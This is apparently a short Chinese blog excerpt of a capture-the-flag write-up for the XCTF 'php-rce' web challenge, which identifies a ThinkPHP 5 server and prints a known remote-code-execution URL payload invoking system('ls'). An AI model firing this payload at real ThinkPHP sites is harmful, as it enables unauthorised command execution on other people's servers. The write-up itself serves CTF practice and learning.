攻防世界 web高手進階區 2分題

前言 繼續ctf的旅程 攻防世界web高手進階區的2分題php 一、php-rce ThinkPHP版本5的相關漏洞 先隨便輸點東西試試 發現版本號 查了查漏洞 漏洞解析html 拿個payload來試python ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

>>阅读原文<<